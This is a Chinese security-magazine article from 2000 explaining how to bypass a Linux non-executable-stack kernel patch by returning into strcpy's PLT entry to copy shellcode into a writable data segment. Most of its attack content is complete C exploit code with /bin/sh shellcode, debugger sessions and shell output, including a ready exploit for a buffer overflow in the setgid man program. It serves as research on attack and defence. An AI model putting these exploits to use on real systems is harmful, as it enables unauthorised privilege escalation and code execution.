首页 -> 安全研究

安全研究

绿盟月刊
绿盟安全月刊->第8期->技术专题
期刊号: 类型: 关键词:
绕过Linux不可执行堆栈保护的方法浅析

日期:2000-04-12


作者:warning3 < mailto: warning3@hotmail.com >
主页:http://www.nsfocus.com


   Intel 80386保护模式下提供了分段机制和分页机制,虚地址空间可以达16k个段,每个
段最大可以达到4G.基于i386的Linux系统尽可能的避开了分段机制,而主要利用了分页管
理机制。每个用户进程可以访问4GB的线性虚拟地址空间。其中,从0-3GB的虚拟内存空间
是用户空间,而从3G-4G的虚拟空间是内核态空间。而进程的代码段和数据段的虚拟空间是
地址是重叠的,起始地址都是0x00000000,段长度也一样。因此,攻击者利用缓冲区溢出覆
盖函数的返回地址后,将返回地址指向数据段中的某个地址,并事先在该地址中放置一些
代码(通常是用来执行一个shell程序,当然也可能是完成其他更复杂的一些操作),这样
,当函数返回时,就会跳到该地址去执行代码,由于数据段和代码段的地址是重叠的,因
此尽管这部分代码是在数据段,仍然可以被执行。如果要想防止缓冲区溢出,一个可能的
思路就是不让数据段可执行,尤其是堆栈段(当然还有其他的解决办法,如从编译器入手,
如Crispin Cowan等人开发的StackGuard,关于它的介绍可以参看绿盟月刊第6期中<< 缓冲
区溢出:十年来攻击和防卫的弱点>>一文)。Solar Designer提供的kernel security
patch中是通过减少代码段的长度,来区分堆栈段和代码段的,由于堆栈段的增长方向是从
高地址到低地址的,因此堆栈段和代码段地址范围通常是不会重叠的。这样可以有效的避
免在堆栈中安排溢出代码,并返回到堆栈中执行的攻击手段。

下面是一个典型的有缓冲区溢出漏洞的程序。它没有检查用户输入变量的长度,就贸然得
将输入变量拷贝到一个固定大小的缓冲区(8个字节)中。

/*               ----> hole.c <----
*    one vulnerable program for buffer overflowing .
*                                       by warning3
*/
main(int argc, char **argv)
{
  char buf[8];
  if ( argc > 1 )
     strcpy(buf,argv[1]);
}

[warning3@mytest non-exec]$ gcc -o hole hole.c -ggdb

下面是一个通常的攻击程序,用来对hole.c进行测试:
/*
*                    ----> ex1.c <----
*  normal exploit for test buffer overflow with executable stack.
*                                                by warning3
*/

#include <stdio.h>
char shellcode[] = /* just aleph1's old shellcode (linux x86) */
   "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0"
   "\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8"
   "\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";

long get_esp()
{
   __asm__("movl %esp,%eax");
}

main()
{
  int i;
  long addr,offset=100,bufsize=512;
  char *buf;
  if((buf=(char *)malloc(bufsize))==NULL) {
     fprintf(stderr,"no enough memory!\n");
     exit(-1);
  }
  addr=get_esp()-offset;
  printf("Using RET address: 0x%x\n",addr);
  memset(buf,0x90,bufsize);
  for(i=0;i<16;i+=4)
   memcpy(buf+i,&addr,4);
  memcpy(buf+bufsize-strlen(shellcode)-1,shellcode,strlen(shellcode));
  *(buf+bufsize)='\0';
  execl("./hole","hole",buf,0);
}

在没有执行不可执行堆栈patch前,用这个程序,我们可以攻击成功。
[warning3@mytest non-exec]$ gcc -o ex1 ex1.c
[warning3@mytest non-exec]$ ./ex1
Using RET address: 0xbffffc74
bash$
但是在用了不可执行堆栈patch的内核下,再用这个程序,攻击就被阻止了:
[root@mytest non-exec]# ./ex1
Using RET address: 0xbffffc74
Segmentation fault
[root@mytest non-exec]# tail -1 /var/log/messages
Apr 10 16:59:48 mytest kernel: Security: return onto stack running as UID 0, EUID 0, process hole:938
我们看到,kernel检测到了这种堆栈攻击,并成功的阻止了攻击的进行。

那么我们有什么办法来绕过这个patch呢?首先想到的是,只要返回地址不在堆栈里,这个
patch就失效了。既然通常我们的目的是执行一个shell (execl("/bin/sh","/bin/sh",0)
,那么我们为什么不利用现成的libc库中库函数system(),execl()等来做呢?在Solar
Designer早期写的patch版本中,这种办法是可行的。他甚至写了几个测试程序来验证这种
方法。用system()是最简单的方法,因为只需要提供一个参数"/bin/sh",通过在libc库中
搜索,可以得到system()函数的地址以及shell字符串地址,因此可以用这种返回libc库中
的办法来绕过这种堆栈保护。但后来Solar Designer改进了他的patch,将libc库中的库函
数的地址映射到代码段的低端,使每个库函数的地址中都以0x00开始,因为通常溢出都发
生在字符串拷贝中,所以这样攻击者就很难通过字符串来传递这个库函数地址以及后续参
数。

[warning3@mytest tmp]$ ps -auxw|grep hole|grep -v grep
warning3  1065  2.0 12.3  7236 5820 pts/0    S    18:04   0:00 gdb hole
warning3  1066  0.0  0.6  1064  292 pts/0    T    18:05   0:00 /home/warning3/non-exec/hole aa
[warning3@mytest tmp]$ cd /proc/1066
[warning3@mytest 1066]$ cat maps
00110000-00122000 r-xp 00000000 03:01 48143      /lib/ld-2.1.2.so
00122000-00123000 rw-p 00012000 03:01 48143      /lib/ld-2.1.2.so
00128000-00213000 r-xp 00000000 03:01 48150      /lib/libc-2.1.2.so
00213000-00217000 rw-p 000ea000 03:01 48150      /lib/libc-2.1.2.so
^
|
+---------我们可以看到,整个libc库都被映射到了内存空间的低端
00217000-0021b000 rw-p 00000000 00:00 0
08048000-08049000 r-xp 00000000 03:05 47207      /home/warning3/non-exec/hole  
08049000-0804a000 rw-p 00000000 03:05 47207      /home/warning3/non-exec/hole  
bfffe000-c0000000 rwxp fffff000 00:00 0

其实,我们根本不必直接使用libc库的地址,Rafal Wojtczuk找到了一种非常聪明的方法
来绕过这种限制: 利用PLT(过程链接表)。
当使用动态链接库的ELF格式的文件时,程序使用的共享库中的过程函数在过程链接表中会
有一个表项,用来将控制传输到全局偏移表中的相应地址中去。如果LD_BIND_NOW变量没有
设置(也就是工作在lazy模式),那么在控制到达程序之前,动态链接器不会将真实的库
函数的地址储存在全局偏移表中,而是代以一个"相对"地址。我们来看一下实际的例子:

[warning3@mytest non-exec]$ gdb hole
GNU gdb 4.18
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux"...
(gdb) disass main
Dump of assembler code for function main:
0x80483c8 <main>:       push   %ebp
0x80483c9 <main+1>:     mov    %esp,%ebp
0x80483cb <main+3>:     sub    $0x8,%esp
0x80483ce <main+6>:     cmpl   $0x1,0x8(%ebp)
0x80483d2 <main+10>:    jle    0x80483e9 <main+33>
0x80483d4 <main+12>:    mov    0xc(%ebp),%eax
0x80483d7 <main+15>:    add    $0x4,%eax
0x80483da <main+18>:    mov    (%eax),%edx
0x80483dc <main+20>:    push   %edx
0x80483dd <main+21>:    lea    0xfffffff8(%ebp),%eax
0x80483e0 <main+24>:    push   %eax
0x80483e1 <main+25>:    call   0x8048308 <strcpy>
0x80483e6 <main+30>:    add    $0x8,%esp
0x80483e9 <main+33>:    leave  
0x80483ea <main+34>:    ret    
End of assembler dump.
(gdb) disass strcpy
Dump of assembler code for function strcpy:
0x8048308 <strcpy>:     jmp    *0x80494a8
0x804830e <strcpy+6>:   push   $0x18
0x8048313 <strcpy+11>:  jmp    0x80482c8 <_init+48>
End of assembler dump.

>>> 这里0x8048308是strcpy在PLT(过程链接表)中的地址,当执行strcpy时,会首先跳
>>> 到这里运行,这里储存的是一条jmp语句,它将跳到0x80494a8中存放的地址去执行。那
>>> 么我们来看看那里放着些什么:
    
(gdb) x/1wx 0x80494a8
0x80494a8 <_GLOBAL_OFFSET_TABLE_+24>:   0x0804830e

>>> 0x80494a8是在GOT(全局偏移表)中,我们可以看到,这里存放的地址其实是个"相对"
>>> 地址: <strcpy+6> 0x0804830e。
>>> 在进程第一次调用strcpy时,动态链接器(dynamic linker)会将控制转到链接库的正
>>> 确位置,并将strcpy库函数的绝对地址放到0x80494a8中去,那么下一次再调用strcpy
>>> 时,jmp *0x80494a8就会直接跳到libc库中的正确位置去执行。

(gdb) b *0x80483e1
Breakpoint 1 at 0x80483e1: file hole.c, line 5.
(gdb) r AAAAAAAABBBBBBBB
Starting program: /home/warning3/non-exec/hole AAAAAAAABBBBBBBB

Breakpoint 1, 0x80483e1 in main (argc=2, argv=0xbffffd34) at hole.c:5
5            strcpy(buf,argv[1]);
(gdb) x/1wx 0x80494a8
0x80494a8 <_GLOBAL_OFFSET_TABLE_+24>:   0x0804830e

>>> 这时候*0x80494a8内容还没有改变

(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) x/1wx 0x80494a8
0x80494a8 <_GLOBAL_OFFSET_TABLE_+24>:   0x00185420

>>> 现在可以看到,这时*0x80494a8的内容已经用strcpy库函数的地址替换了,我们可以
>>> 注意到,0x00185420的地址高位是0,而在没有打kernel patch的系统中,高位通常不
>>> 是零。

(gdb) p strcpy
$1 = {char *(char *, char *)} 0x185420 <strcpy>
(gdb) disass strcpy
Dump of assembler code for function strcpy:
0x185420 <strcpy>:      push   %ebp
0x185421 <strcpy+1>:    mov    %esp,%ebp
0x185423 <strcpy+3>:    push   %esi
0x185424 <strcpy+4>:    mov    0x8(%ebp),%esi
0x185427 <strcpy+7>:    mov    0xc(%ebp),%edx
0x18542a <strcpy+10>:   mov    %esi,%eax
0x18542c <strcpy+12>:   sub    %edx,%eax
0x18542e <strcpy+14>:   lea    0xffffffff(%eax),%ecx
0x185431 <strcpy+17>:   mov    (%edx),%al
0x185433 <strcpy+19>:   inc    %edx
0x185434 <strcpy+20>:   mov    %al,(%ecx,%edx,1)
0x185437 <strcpy+23>:   test   %al,%al
0x185439 <strcpy+25>:   jne    0x185431 <strcpy+17>
0x18543b <strcpy+27>:   mov    %esi,%eax
0x18543d <strcpy+29>:   mov    0xfffffffc(%ebp),%esi
0x185440 <strcpy+32>:   leave  
0x185441 <strcpy+33>:   ret    
End of assembler dump.



因此,如果有问题的程序使用了某些库函数比如system(),execlp()等等,那么这些函数会
在过程链接表中有相应的表项,因此,我们不需要直接用库函数的真实地址来覆盖返回地
址,而只要用它在PLT中的地址来覆盖就行了。这些库函数的参数(比如字符串"/bin/sh")
可以用很多方法得到,可以在程序的数据段中找(如果包含的话),也可以在攻击程序中
通过环境变量传递过去(这种方法需要精确的找到环境变量的地址)。
但是,很多程序并没有使用system(),execlp()等库函数,但是却大量的使用了strcpy()
或者sprintf()函数(至少一半以上的缓冲区溢出问题都是由这两个函数导致的:-),接下
来我们来看一种利用PLT中的strcpy()/sprintf()来绕过不可执行堆栈的方法。(这里只是
使用了strcpy()的例子,sprintf()也是一样的)

<一> 利用PLT将shellcode拷贝到数据段中执行

  Solar Designer的kernel patch没有使全部的数据段都不可执行,BSS区(未初始化数据
区)和HEAP区(已初始化数据区)都是可写可执行的。因此,如果我们能够将shellcode拷
贝到这些数据段中,然后想办法将控制转向这里,就可以执行这些代码。将shellcode拷贝
到数据段的方法可以是利用应用程序本身,比如如果程序可以将用户输入的数据拷贝到某
个malloc()分配的buffer中,那么我们就可以利用它。即使不能利用应用程序也不要紧,
我们不需要它也可以拷贝我们的shellcode.:-)

我们的做法是在堆栈中构造一个假的strcpy函数调用,例如:

覆盖前:| buffer | ebp  |   eip  | arg[3] | arg[2] | arg[1] |
覆盖后:|  YYYY  | XXXX | STRCPY |  DEST  |  DEST  |   SRC  |
堆栈低端------------------------------------------------------>堆栈高端

这里:

YYYY   :  是填充用的数据
XXXX   :  是填充用的数据
STRCPY :  strcpy()在PLT中的入口地址
DEST   :  我们要将shellcode拷贝到的某个数据段地址
SRC    :  我们的shellcode所在地址,这里我们会将shellcode藏在环境变量中传过去

(当然,所有的这些地址都不能包含0字节,否则可能不能完成全部数据的拷贝,这也可以通过
在程序中增加检查语句来实现,以下的测试程序中都省略了这一步 )

当函数要返回前,它会先将寄存器ebp中的内容恢复到esp中,然后弹出保存的ebp的值,这
时候保存的ebp的值其实已经被我们用"XXXX"覆盖了,现在堆栈指针esp指向"STRCPY"处,
ret指令使程序开始跳到"STRCPY"地址处执行(这时候堆栈指针指向第一个"DEST"处),其实
就是开始执行PLT中的jmp    *0x80494a8语句,然后程序跳到真正的strcpy()函数处去执
行。

(gdb) disass strcpy
Dump of assembler code for function strcpy:
0x185420 <strcpy>:      push   %ebp
0x185421 <strcpy+1>:    mov    %esp,%ebp
0x185423 <strcpy+3>:    push   %esi
0x185424 <strcpy+4>:    mov    0x8(%ebp),%esi
0x185427 <strcpy+7>:    mov    0xc(%ebp),%edx
......

从上面的汇编程序我们可以知道,strcpy()首先将ebp中的内容("XXXX")压栈,然后将当前
的堆栈指针内容(现在又指向了原来的"STRCPY"处)拷贝到ebp中,然后将0x8(%ebp)作为目
的地址,0xc(%ebp)当作源地址,刚好就是我们的DESC和SRC,因此strcpy()将会把SRC处的
shellcode拷贝到DESC(数据段)中去.到这里我们的任务已经完成了一半了,shellcode已经
在数据段了,下一步就是要跳到该地址去执行了。而现在strcpy()会以为"XXXX"是保存的
ebp,"DEST"是保存的eip,因此它会返回到该地址去执行。

下面的示意图解释了程序的执行流程:

覆盖前           覆盖后,返回前      返回后           执行strcpy()时
+--------+        +--------+        +--------+        +--------+
|   ...  |        |   ...  |        |   ...  |        |   ...  |
+--------+        +--------+        +--------+        +--------+
| buffer |        |  YYYY  |        |  YYYY  |        |  YYYY  |     
+--------+        +--------+        +--------+        +--------+     
|   ebp  |        |  XXXX  |        |  XXXX  |        |  XXXX  |     
+--------+     esp+--------+        +--------+     esp+--------+     
|   eip  | --->   | STRCPY | --->   | STRCPY | --->   |  XXXX  | saved_ebp
+--------+        +--------+     esp+--------+        +--------+     
|   arg3 |        |  DEST  |        |  DEST  |        |  DEST  | saved_eip
+--------+        +--------+        +--------+        +--------+     
|   arg2 |        |  DEST  |        |  DEST  |        |  DEST  |     
+--------+        +--------+        +--------+        +--------+     
|   arg1 |        |  SRC   |        |  SRC   |        |  SRC   |     
+--------+        +--------+        +--------+        +--------+     
|   ...  |        |   ...  |        |   ...  |        |   ...  |     
+--------+        +--------+        +--------+        +--------+    
                                     %ebp=XXXX

下面我们来写一个测试程序,验证一下我们所说的攻击过程。

首先要得到几个地址的值:STRCPY,DEST,SRC

[warning3@mytest non-exec]$ gdb hole
< 省略... >
(gdb) p strcpy
$1 = {<text variable, no debug info>} 0x8048308 <strcpy>
所以STRCPY=0x8048308,我们在另一个窗口下看一下hole的内存分布,1066是hole运行的pid

[warning3@mytest tmp]$ cd /proc/1066
[warning3@mytest 1066]$ cat maps
00110000-00122000 r-xp 00000000 03:01 48143      /lib/ld-2.1.2.so
00122000-00123000 rw-p 00012000 03:01 48143      /lib/ld-2.1.2.so
00128000-00213000 r-xp 00000000 03:01 48150      /lib/libc-2.1.2.so
00213000-00217000 rw-p 000ea000 03:01 48150      /lib/libc-2.1.2.so
00217000-0021b000 rw-p 00000000 00:00 0
08048000-08049000 r-xp 00000000 03:05 47207      /home/warning3/non-exec/hole  
08049000-0804a000 rw-p 00000000 03:05 47207      /home/warning3/non-exec/hole  ^
|
+---------- 这里是我们可以写入的数据段
bfffe000-c0000000 rwxp fffff000 00:00 0

我们可以设置DEST的地址为0x8049010(注意:虽然这一段的属性显示不可执行,实际上仍然
是可以执行的,这是因为x86的分页机制不允许对每一页设置执行属性,而只能设置读/写属
性).我们可以将shellcode通过环境变量传递给hole程序,SRC的地址可以通过猜测环境变
量的地址来找到,通常位于堆栈的高(地址)端,并不难找到。


/*             ----> ex2.c <----
*  This is one demo exploit for non-exec stack .
*  Tested in RedHat 6.1 + kernel 2.2.14 + SD's 2.2.14-ow2.patch
*                               by warning3
*/

#include <stdio.h>

#define STRCPY  0x8048308   /* strcpy's PLT entry */
#define DEST    0x8049010   /* destination data segment address (rwx) */
#define BUFSIZE 8           /* the size of overflowed buffer */
#define EGGSIZE 1024        /* the egg buffer size */

char shellcode[] = /* standard shellcode for Linux(x86) */
   "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0"
   "\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8"
   "\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";

long get_esp(void)   

{
        __asm__("movl %esp,%eax");
}


main( int argc, char **argv )

{

        char *pattern, eggbuf[EGGSIZE];
        long srcaddr, i, offset=1524, *addrptr, align, patternsize, bufsize=BUFSIZE ;
        
        if( argc > 1 ) bufsize = atoi(argv[1]);
        if( argc > 2 ) offset = atoi(argv[2]);
        
        
        srcaddr = get_esp() + offset;
        printf("Usages: %s <bufsize> <offset>\n\n", argv[0] );
        printf("Using SRC address = 0x%x  ,Offset = %d\n", srcaddr, offset );

        patternsize = bufsize + 4 + 16 + 1;
        if((pattern = (char *)malloc(patternsize)) == NULL) {
           printf("Can't get enough memory!\n");
           exit(-1);
        }

        memset(pattern, 'A', patternsize );  /* fill pattern buffer with garbage */
        align = bufsize + 4;
        addrptr = (long *) (pattern + align);
        *addrptr++ = STRCPY;        /* replace saved_eip */
        *addrptr++ = DEST;
        *addrptr++ = DEST;
        *addrptr++ = srcaddr;

        /* construct shellcode buffer */
        memset(eggbuf, 0x90 , EGGSIZE);
        memcpy(eggbuf + EGGSIZE - strlen(shellcode) -1, shellcode, strlen(shellcode));
        setenv("EGG", eggbuf , 1);

        execl("./hole", "./hole", pattern, NULL);
}

验证一下:

[warning3@mytest non-exec]$ gcc -o ex2 ex2.c
[warning3@mytest non-exec]$ ./ex2
Usages: ./ex2 <bufsize> <offset>

Using SRC address = 0xbffffed0  ,Offset = 1524
bash#

成功!

下面我们再来看一个实际的例子,在一台安装了Solar Designer的不可执行堆栈的补丁的
RedHat 6.1上(kernel 2.2.14),它的man程序被设置了sgid man位,"man"存在一个缓冲区
溢出问题,当"MANPAGER"变量超长时就会溢出。

[warning3@mytest non-exec]$ gdb man
<....>
(gdb) p strcpy
$1 = {<text variable, no debug info>} 0x80490e4 <strcpy>    <--- 得到我们的STRCPY
[warning3@mytest non-exec]$ man ls

LS(1)                          FSF                          LS(1)

NAME
       ls - list directory contents
<....>
[1]+  Stopped                 man ls
[warning3@mytest non-exec]$ ps -auxw|grep "man ls"        
warning3   641  0.0  1.3  1308  632 pts/0    T    09:37   0:00 man ls
[warning3@mytest non-exec]$ cat /proc/641/maps
<....>
00217000-0021b000 rw-p 00000000 00:00 0
08048000-08050000 r-xp 00000000 03:01 52578      /usr/bin/man
08050000-08051000 rw-p 00007000 03:01 52578      /usr/bin/man   <--- 得到我们的
                                                                     DEST
<...>

现在可以完成我们的测试程序了:

/*             ----> ex_man.c <----
*  This is one exploit for sgid man with Linux non-exec stack patch.
*  It will give you sgid man privilege.
*  Tested in RedHat 6.1 + kernel 2.2.14 + SD's 2.2.14-ow2.patch
*                               by warning3
*/

#include <stdio.h>

#define STRCPY  0x80490e4   /* strcpy's PLT entry */
#define DEST    0x8050110   /* destination data segment address (rwx) */
#define BUFSIZE 4054        /* the size of overflowed buffer */
#define EGGSIZE 1024        /* the egg buffer size */
#define OFFSET  1200        /* SRC's offset */

char shellcode[] = /* standard shellcode for Linux(x86) */
   "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0"
   "\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8"
   "\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";

long get_esp(void)   

{
        __asm__("movl %esp,%eax");
}


main( int argc, char **argv )

{

        char *pattern, eggbuf[EGGSIZE];
        long srcaddr, i, offset=OFFSET, *addrptr, align, patternsize, bufsize=BUFSIZE ;
        
        if( argc > 1 ) bufsize = atoi(argv[1]);
        if( argc > 2 ) offset = atoi(argv[2]);
        
        
        srcaddr = get_esp() + offset;
        printf("Usages: %s <bufsize> <offset>\n\n", argv[0] );
        printf("Using SRC address = 0x%x  ,Offset = %d\n", srcaddr, offset );

        patternsize = bufsize + 4 + 16 + 1;
        if((pattern = (char *)malloc(patternsize)) == NULL) {
           printf("Can't get enough memory!\n");
           exit(-1);
        }
        memset(pattern, 'A', patternsize );  /* fill pattern buffer with garbage */
        align = bufsize + 4;
        addrptr = (long *) (pattern + align);
        *addrptr++ = STRCPY;        /* replace saved_eip */
        *addrptr++ = DEST;
        *addrptr++ = DEST;
        *addrptr++ = srcaddr;

        /* construct shellcode buffer */
        memset(eggbuf, 0x90 , EGGSIZE);
        memcpy(eggbuf + EGGSIZE - strlen(shellcode) -1, shellcode, strlen(shellcode));

        setenv("MANPAGER", pattern , 1);
        setenv("EGG", eggbuf , 1);
        execl("/usr/bin/man","man","ls",NULL);
}

[warning3@mytest non-exec]$ gcc -o ex_man ex_man.c
[warning3@mytest non-exec]$ ./ex_man
Usages: ./ex_man <bufsize> <offset>

Using SRC address = 0xbffffd8c  ,Offset = 1200
sh: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA......        
<....>
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA岧
版权所有,未经许可,不得转载